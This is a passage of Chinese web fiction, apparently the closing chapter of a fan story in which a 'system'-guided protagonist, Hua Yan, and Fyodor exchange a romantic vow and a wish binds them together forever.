因此现在对方身为支撑着所有世界的“根源”,自然不会因为区区一张“书页”彻底断开所有,更别提这张“书页”还源自对方。 只是…… “您身体……真的没事吗?” 虽然这种发展对于费奥多尔来说——引发了蝴蝶效应一同改变其他同世界中异能的存在,是意外之喜,但是这个影响是不是有点太广泛了? “没事……吧?” 花言也有些迟疑,可又确实没有感受到任何不对劲的地方,一切都很好。 他沉吟片刻,主动找了最近安静到像是在闷头写毕业论文的系统。 [马路牙子啊,你说我现在都超越世界意识,成为所有世界的“根源”了,真的没问题吗?这好像不是攻略该做的吧?] 【应该没问题,毕竟感情这种东西本身就会牵扯到很多因素。】 系统认认真真思考许久,给对方举出了一个例子。 【你看,那些拥有强大力量的人谈恋爱动不动就灭世陪葬,其他攻略系统带的宿主中也有会为了完成任务得到奖励不择手段的存在。宿主你只是让异能消失了,这场攻略里没有任何一个人受到伤害,世界也仍旧安好存在,这不是很皆大欢喜的结局吗?】 系统越说越愤愤不平。 【世界意识都可以不上班了,它还得谢谢咱呢!】 [原来是这样……吗?] 花言停止了思考。 他震惊地发现系统说的居然很有道理! 原来攻略系统才是所有系统中最恐怖如斯的存在吗?! 【所以,宿主,你决定好你要实现的愿望了吗?】 系统已经迫不及待想去发表能够让它举世闻名的大作了。 [愿望……] 这个愿望对于花言来说好像并不重要,他现在爱情与事业双丰收,都近乎成神了。 不过倒是可以作为某种保险,彻底杜绝一下各类意外的发生。 花言在即将回答系统的前一秒又想起了什麽,他慢吞吞地从床上坐起,看着坐在地毯上的费奥多尔,犹豫再三,还是询问了对方的意见。 “费佳,你愿意永远永远和我在一起吗?” 这并不是寻常起誓中的带有夸张意味的誓言,而是真正意义上的“永远”,意味着没有尽头的永恒生命,意味着他们将陪伴彼此至所有世界迎来终结。 像是最为纯粹美好的祝福,也像是最为偏执沉重的诅咒。 费奥多尔听出这番话背后的含义,也意识到了对方想许的愿望,似有些奇怪地微微歪头,“我以为……这个问题的答案已经很明确了?” “还是说……您希望我更具体地说出那一句——我爱您?” 没有给花言反应的时间,费奥多尔指尖触碰上对方脸颊,唇边笑意加深,细致地向对方剖析了自己的情感,亦如对方昨晚取悦他时的那样。 “花言,我喜欢您不逊于我的头脑、喜欢您掩藏极深的恶劣一面、喜欢您纯粹又炽热的情感、喜欢您对我的了解、喜欢您压抑着想要逃避的本能也会向我袒露爱意时的坚持……” 明明现在说这些话的是费奥多尔,但感到难为情的却是花言。 后者没忍住把脸埋进了手里,试图缓解一下过热的大脑与过于嘈杂的心跳,但费奥多尔不会给对方回避的间隙。 他单膝压上床沿,拉近彼此之间的距离,微凉的唇粘贴对方灼热的耳尖,刻意放缓了速度,将每一个字都清晰地吐露。 “我喜欢您的一切,这份情感自我们一同下国际象棋的午后、从我了解您开始埋下,在我们一点一滴的相处间生长蔓延,我喜欢您不顾一切的陪伴与协助,我很高兴您——仅为我一人而来,也很高兴我漫长的生命中能有您的出现,花言……” 花言耳朵已经彻底红了,近乎是用气音阻止,“别说了……费佳……” “为什麽呢?您不是想向我确认这一点吗?还是……您不喜欢听?”费奥多尔故作疑惑地询问。 “没……” 花言知道对方是故意曲解的,无论是对方宛如告白的话语、还是耳边自己的心跳声,都让他难以继续思考,也有些不知道该说些什麽。 “既然这样,那……请让我说的更明确一些吧?” 费奥多尔动作轻柔地拉下对方挡在脸前的手,彻底阻断了花言想要回避的可能。 优雅低沉的嗓音仿佛裹挟着某种摄人心魄的旋律,一点点浸入花言心底。 “花言,您愿意为了我而抛弃一切,我也会为了您而收敛我理想中的那份偏执,我愿意与您永远在一起,也高兴能与您永远在一起,直到所有世界都化为历史的星尘、直到我与您一同长眠在永恒的尽头、直到……死亡也无法将我们分离。” 微凉的吻伴随着这份誓言一同落下。 花言因感受到过于直白热烈的情感而宕机的大脑好半天才恢复运转。 他带着迷迷糊糊的状态重新找上了系统。 [我的愿望是……] 【什麽都别说了,宿主,我已经完全明白了!】 系统这次是真的顿悟了。 【你的愿望是永远跟攻略目标在一起对吧?!】 这两句语气激昂的话把花言从迷糊的恋爱状态里捞了出来,系统之前给他挖的坑犹如一桶凉水浇下,头脑瞬间清醒得不能再清醒。 花言当即认真严肃地强调。 [我的愿望是,想要跟费奥多尔以普遍认知中活人、正常人的状态,正常地陪伴着彼此在一起,而陪伴在一起的缘由也是正常、自然、发自内心的情感,不受任何外界扭曲掺杂的因素……] 【宿主……我不是容纳了“此世全部之恶”的圣杯,不会扭曲你的愿望,我也不是丘比,不会你在许下愿望后,扭曲你的灵魂。】 系统总觉得自家宿主好像有点过于防范它了,它努力解释。 【这个愿望是完全按照你的意思去实现的,就像是选定攻略目标时的那样,只会回应你内心真实的意愿。】 [好吧……] 花言勉强给予了对方信任。 【我开始了哦?】 鉴于这份能量的珍贵,系统最后确认了一遍。 [嗯。] 在花言确认的那一刻,一股奇异的磁场悄然浮现。 或许是这份力量来自于主系统,愿望实现时没有什麽花里胡哨的特效,更像是用于告知愿望正在实现的提示。 花言与费奥多尔之间出现了星星点点的光芒,犹如宇宙深处沉睡的星屑,它们在半空中交汇、凝结,组合成类似于莫比乌斯带的无尽环形圈住了两人,继而缓缓消失。 花言指尖下意识抵在心口,他的愿望不是能够明确观测到的,也不是立即就能够体现的,因此这份愿望用另一种方式向他告知了结果—— ——他能够感知到费奥多尔的存在与位置,而对方也能感知到他。 一种更为清晰紧密的联系创建在他们之间,以示这份陪伴的存在。 这样一来,无论是因异能消失,费奥多尔会失去长生者的特性死去的可能,还是花言在漫长时光中没能承受住所有世界而消散的可能,都不会发生。 他们将以对方为锚点,陪伴着彼此、将彼此的存在永远固定。 --正文完--魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&